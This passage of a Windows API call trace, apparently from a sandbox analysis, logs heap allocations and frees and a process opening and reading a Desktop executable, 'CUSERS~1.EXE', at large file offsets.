[0073.376] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aba068 | out: hHeap=0x2ad0000) returned 1 [0073.376] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b080 [0073.376] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.376] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab0400 [0073.376] GetCurrentThreadId () returned 0x9b0 [0073.376] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.377] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0073.377] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.377] GetCurrentThreadId () returned 0x9b0 [0073.377] GetCurrentThreadId () returned 0x9b0 [0073.377] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.377] GetCurrentThreadId () returned 0x9b0 [0073.377] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab0588 [0073.377] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b1d0 [0073.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18280 [0073.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b1c0 [0073.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.378] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b1c0, Size=0x14) returned 0x2a71840 [0073.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18280 | out: hHeap=0x2ad0000) returned 1 [0073.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b1d0 | out: hHeap=0x2ad0000) returned 1 [0073.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab0898 [0073.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18280 [0073.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b1c0 [0073.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0f0 [0073.378] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b1c0, Size=0x14) returned 0x2a71660 [0073.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0f0 | out: hHeap=0x2ad0000) returned 1 [0073.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18280 | out: hHeap=0x2ad0000) returned 1 [0073.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0073.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b1c0 [0073.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b150 [0073.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b1d0 [0073.378] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b150, Size=0x14) returned 0x2a71700 [0073.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b1d0 | out: hHeap=0x2ad0000) returned 1 [0073.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.378] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b1c0 | out: hHeap=0x2ad0000) returned 1 [0073.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71700 | out: hHeap=0x2ad0000) returned 1 [0073.379] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab0a20 [0073.379] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab0eb8 [0073.379] GetCurrentThreadId () returned 0x9b0 [0073.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0073.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.379] GetCurrentThreadId () returned 0x9b0 [0073.379] GetCurrentThreadId () returned 0x9b0 [0073.379] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0073.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0073.379] GetCurrentThreadId () returned 0x9b0 [0073.379] GetCurrentThreadId () returned 0x9b0 [0073.379] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a140 [0073.379] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0073.379] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0073.379] GetCurrentThreadId () returned 0x9b0 [0073.379] GetCurrentThreadId () returned 0x9b0 [0073.379] GetCurrentThreadId () returned 0x9b0 [0073.379] GetCurrentThreadId () returned 0x9b0 [0073.379] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1af78 | out: hHeap=0x2ad0000) returned 1 [0073.379] GetCurrentThreadId () returned 0x9b0 [0073.379] GetCurrentThreadId () returned 0x9b0 [0073.379] GetCurrentThreadId () returned 0x9b0 [0073.379] GetLastError () returned 0x0 [0073.379] GetLastError () returned 0x0 [0073.379] GetLastError () returned 0x0 [0073.379] GetLastError () returned 0x0 [0073.379] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a20258 [0073.379] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18280 [0073.380] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18280 | out: hHeap=0x2ad0000) returned 1 [0073.380] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b200 [0073.380] GetLastError () returned 0x0 [0073.380] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9868, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.380] GetFileType (hFile=0x1e8) returned 0x1 [0073.380] GetLastError () returned 0x0 [0073.380] GetCurrentThreadId () returned 0x9b0 [0073.380] GetLastError () returned 0x0 [0073.380] GetFileType (hFile=0x1e8) returned 0x1 [0073.380] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9b98e4 | out: lpFileInformation=0x9b98e4) returned 1 [0073.380] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0073.380] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0073.380] FileTimeToLocalFileTime (in: lpFileTime=0x9b98f0, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0073.380] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0073.380] FileTimeToLocalFileTime (in: lpFileTime=0x9b98e8, lpLocalFileTime=0x9b9928 | out: lpLocalFileTime=0x9b9928) returned 1 [0073.380] FileTimeToSystemTime (in: lpFileTime=0x9b9928, lpSystemTime=0x9b9918 | out: lpSystemTime=0x9b9918) returned 1 [0073.380] GetLastError () returned 0x0 [0073.380] GetCurrentThreadId () returned 0x9b0 [0073.380] GetLastError () returned 0x0 [0073.380] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b200 | out: hHeap=0x2ad0000) returned 1 [0073.380] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20258 | out: hHeap=0x2ad0000) returned 1 [0073.381] GetLastError () returned 0x0 [0073.381] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=8596671, lpDistanceToMoveHigh=0x9b9998*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9998*=0) returned 0x832cbf [0073.381] GetLastError () returned 0x0 [0073.381] GetCurrentThreadId () returned 0x9b0 [0073.381] GetLastError () returned 0x0 [0073.381] GetCurrentThreadId () returned 0x9b0 [0073.381] GetLastError () returned 0x0 [0073.381] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=8599371, lpDistanceToMoveHigh=0x9b9d30*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9d30*=0) returned 0x83374b [0073.381] GetLastError () returned 0x0 [0073.381] GetCurrentThreadId () returned 0x9b0 [0073.381] GetLastError () returned 0x0 [0073.381] GetCurrentThreadId () returned 0x9b0 [0073.381] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2267) returned 0x2ab87d8 [0073.381] GetLastError () returned 0x0 [0073.381] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ab87ec, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x9b9cf8, lpOverlapped=0x0 | out: lpBuffer=0x2ab87ec*, lpNumberOfBytesRead=0x9b9cf8*=0x2000, lpOverlapped=0x0) returned 1 [0073.381] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2abaa48 [0073.381] ReadFile (in: hFile=0x1e8, lpBuffer=0x2abaa48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b9ce4, lpOverlapped=0x0 | out: lpBuffer=0x2abaa48*, lpNumberOfBytesRead=0x9b9ce4*=0x1000, lpOverlapped=0x0) returned 1 [0073.381] GetLastError () returned 0x0 [0073.381] GetCurrentThreadId () returned 0x9b0 [0073.382] GetLastError () returned 0x0 [0073.382] GetCurrentThreadId () returned 0x9b0 [0073.382] GetLastError () returned 0x0 [0073.382] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b89bc*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b89bc*=0) returned 0x83674b [0073.382] GetLastError () returned 0x0 [0073.382] GetCurrentThreadId () returned 0x9b0 [0073.382] GetLastError () returned 0x0 [0073.382] GetLastError () returned 0x0 [0073.382] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2abaa48 | out: hHeap=0x2ad0000) returned 1 [0073.382] CloseHandle (hObject=0x1e8) returned 1 [0073.382] GetLastError () returned 0x0 [0073.382] GetCurrentThreadId () returned 0x9b0 [0073.382] GetLastError () returned 0x0 [0073.382] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2abaa48 [0073.382] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2abc620 [0073.382] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8000) returned 0x2ba2f80 [0073.383] GetLastError () returned 0x0 [0073.383] GetCurrentThreadId () returned 0x9b0 [0073.383] GetLastError () returned 0x0 [0073.383] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2abc620, Size=0x8015) returned 0x2baaf88 [0073.383] GetLastError () returned 0x0 [0073.383] GetCurrentThreadId () returned 0x9b0 [0073.383] GetLastError () returned 0x0 [0073.383] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba2f80 | out: hHeap=0x2ad0000) returned 1 [0073.383] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2abaa48 | out: hHeap=0x2ad0000) returned 1 [0073.383] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2baaf88, Size=0x4fbd) returned 0x2baaf88 [0073.383] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab87d8 | out: hHeap=0x2ad0000) returned 1 [0073.383] GetCurrentThreadId () returned 0x9b0 [0073.384] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2e8) returned 0x2ba2f80 [0073.384] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18280 [0073.384] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18280, Size=0x20) returned 0x2a1f858 [0073.384] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f858, Size=0x40) returned 0x2a18cb0 [0073.384] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18cb0, Size=0x64) returned 0x2a195e8 [0073.384] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a195e8, Size=0x8c) returned 0x2ad1768 [0073.384] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad1768, Size=0xb8) returned 0x2acaf30 [0073.384] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acaf30, Size=0xe8) returned 0x2acaf30 [0073.384] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acaf30, Size=0x120) returned 0x2acdbf0 [0073.384] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acdbf0, Size=0x160) returned 0x2acea78 [0073.384] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acea78, Size=0x1a8) returned 0x2acb7f8 [0073.384] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acb7f8, Size=0x1f8) returned 0x2acb7f8 [0073.384] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x240) returned 0x2ab80f8 [0073.384] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acb7f8, Size=0x250) returned 0x2ba3270 [0073.384] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2f8) returned 0x2ba34c8 [0073.384] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba3270, Size=0x2b4) returned 0x2ba37c8 [0073.384] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xcc0) returned 0x2ba3a88 [0073.384] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba37c8, Size=0x324) returned 0x2ba4750 [0073.384] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba4750, Size=0x3a4) returned 0x2ba4750 [0073.384] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20b) returned 0x2ba3270 [0073.384] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3ff) returned 0x2ba4b00 [0073.385] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba4750, Size=0x434) returned 0x2ba4f08 [0073.385] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba4f08 | out: hHeap=0x2ad0000) returned 1 [0073.385] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2baaf88 | out: hHeap=0x2ad0000) returned 1 [0073.385] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b0e0 [0073.385] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b0e0 | out: hHeap=0x2ad0000) returned 1 [0073.385] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a702e8 [0073.385] GetCurrentThreadId () returned 0x9b0 [0073.385] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0073.385] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0073.385] GetCurrentThreadId () returned 0x9b0 [0073.385] GetCurrentThreadId () returned 0x9b0 [0073.385] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0073.385] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0073.385] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0073.385] GetCurrentThreadId () returned 0x9b0 [0073.385] GetCurrentThreadId () returned 0x9b0 [0073.385] GetCurrentThreadId () returned 0x9b0 [0073.385] GetCurrentThreadId () returned 0x9b0 [0073.385] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0073.385] GetCurrentThreadId () returned 0x9b0 [0073.385] GetCurrentThreadId () returned 0x9b0 [0073.385] GetCurrentThreadId () returned 0x9b0 [0073.385] GetLastError () returned 0x0 [0073.385] GetLastError () returned 0x0 [0073.385] GetLastError () returned 0x0 [0073.385] GetLastError () returned 0x0 [0073.385] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a20048 [0073.385] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180a0 [0073.385] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180a0 | out: hHeap=0x2ad0000) returned 1 [0073.385] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b130 [0073.386] GetLastError () returned 0x0 [0073.386] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9218, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.386] GetFileType (hFile=0x1e8) returned 0x1 [0073.386] GetLastError () returned 0x0 [0073.386] GetCurrentThreadId () returned 0x9b0 [0073.386] GetLastError () returned 0x0 [0073.386] GetFileType (hFile=0x1e8) returned 0x1 [0073.386] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9b9294 | out: lpFileInformation=0x9b9294) returned 1 [0073.386] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a8, lpLocalFileTime=0x9b92d8 | out: lpLocalFileTime=0x9b92d8) returned 1 [0073.386] FileTimeToSystemTime (in: lpFileTime=0x9b92d8, lpSystemTime=0x9b92c8 | out: lpSystemTime=0x9b92c8) returned 1 [0073.386] FileTimeToLocalFileTime (in: lpFileTime=0x9b92a0, lpLocalFileTime=0x9b92d8 | out: lpLocalFileTime=0x9b92d8) returned 1 [0073.386] FileTimeToSystemTime (in: lpFileTime=0x9b92d8, lpSystemTime=0x9b92c8 | out: lpSystemTime=0x9b92c8) returned 1 [0073.386] FileTimeToLocalFileTime (in: lpFileTime=0x9b9298, lpLocalFileTime=0x9b92d8 | out: lpLocalFileTime=0x9b92d8) returned 1 [0073.386] FileTimeToSystemTime (in: lpFileTime=0x9b92d8, lpSystemTime=0x9b92c8 | out: lpSystemTime=0x9b92c8) returned 1 [0073.386] GetLastError () returned 0x0 [0073.386] GetCurrentThreadId () returned 0x9b0 [0073.386] GetLastError () returned 0x0 [0073.386] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b130 | out: hHeap=0x2ad0000) returned 1 [0073.386] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20048 | out: hHeap=0x2ad0000) returned 1 [0073.386] GetLastError () returned 0x0 [0073.386] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=8608157, lpDistanceToMoveHigh=0x9b9348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9348*=0) returned 0x83599d [0073.387] GetLastError () returned 0x0 [0073.387] GetCurrentThreadId () returned 0x9b0 [0073.387] GetLastError () returned 0x0 [0073.387] GetCurrentThreadId () returned 0x9b0 [0073.387] GetLastError () returned 0x0 [0073.387] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=8596671, lpDistanceToMoveHigh=0x9b96e0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b96e0*=0) returned 0x832cbf [0073.387] GetLastError () returned 0x0 [0073.387] GetCurrentThreadId () returned 0x9b0 [0073.387] GetLastError () returned 0x0 [0073.387] GetCurrentThreadId () returned 0x9b0 [0073.387] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xaa1) returned 0x2ab87d8 [0073.387] GetLastError () returned 0x0 [0073.387] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2ab9288 [0073.387] ReadFile (in: hFile=0x1e8, lpBuffer=0x2ab9288, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9b9694, lpOverlapped=0x0 | out: lpBuffer=0x2ab9288*, lpNumberOfBytesRead=0x9b9694*=0x1000, lpOverlapped=0x0) returned 1 [0073.387] GetLastError () returned 0x0 [0073.387] GetCurrentThreadId () returned 0x9b0 [0073.387] GetLastError () returned 0x0 [0073.387] GetCurrentThreadId () returned 0x9b0 [0073.387] GetLastError () returned 0x0 [0073.387] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b836c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b836c*=0) returned 0x833cbf [0073.387] GetLastError () returned 0x0 [0073.388] GetCurrentThreadId () returned 0x9b0 [0073.388] GetLastError () returned 0x0 [0073.388] GetLastError () returned 0x0 [0073.388] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab9288 | out: hHeap=0x2ad0000) returned 1 [0073.388] CloseHandle (hObject=0x1e8) returned 1 [0073.389] GetLastError () returned 0x0 [0073.389] GetCurrentThreadId () returned 0x9b0 [0073.389] GetLastError () returned 0x0 [0073.389] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2ab9288 [0073.389] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2abae60 [0073.389] GetLastError () returned 0x0 [0073.389] GetCurrentThreadId () returned 0x9b0 [0073.389] GetLastError () returned 0x0 [0073.389] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab9288 | out: hHeap=0x2ad0000) returned 1 [0073.389] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2abae60, Size=0x17d7) returned 0x2abae60 [0073.389] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab87d8 | out: hHeap=0x2ad0000) returned 1 [0073.389] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x53f) returned 0x2ab87d8 [0073.389] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18280 [0073.389] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18280, Size=0x20) returned 0x2a1f858 [0073.389] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f858, Size=0x40) returned 0x2a19058 [0073.389] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19058, Size=0x64) returned 0x2a19b28 [0073.389] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19b28, Size=0x8c) returned 0x2ad1768 [0073.389] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad1768, Size=0xb8) returned 0x2acaf30 [0073.389] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acaf30, Size=0xe8) returned 0x2acaf30 [0073.389] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acaf30, Size=0x120) returned 0x2acdbf0 [0073.389] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acdbf0, Size=0x160) returned 0x2acea78 [0073.389] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acea78, Size=0x1a8) returned 0x2acb7f8 [0073.390] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acb7f8, Size=0x1f8) returned 0x2acb7f8 [0073.390] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2acb7f8, Size=0x250) returned 0x2ba37c8 [0073.390] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba37c8, Size=0x2b4) returned 0x2ba37c8 [0073.390] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba37c8, Size=0x324) returned 0x2ba4750 [0073.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba4750 | out: hHeap=0x2ad0000) returned 1 [0073.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2abae60 | out: hHeap=0x2ad0000) returned 1 [0073.390] GetCurrentThreadId () returned 0x9b0 [0073.390] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b200 [0073.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b200 | out: hHeap=0x2ad0000) returned 1 [0073.390] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab91e0 [0073.390] GetCurrentThreadId () returned 0x9b0 [0073.390] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0073.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0073.390] GetCurrentThreadId () returned 0x9b0 [0073.390] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b080 [0073.390] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71680 [0073.390] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18280 [0073.390] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b0e0 [0073.390] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b1c0 [0073.390] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8b0e0, Size=0x14) returned 0x2a716e0 [0073.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b1c0 | out: hHeap=0x2ad0000) returned 1 [0073.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18280 | out: hHeap=0x2ad0000) returned 1 [0073.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0073.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b080 | out: hHeap=0x2ad0000) returned 1 [0073.390] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716e0 | out: hHeap=0x2ad0000) returned 1 [0073.390] RtlAllocateHeap 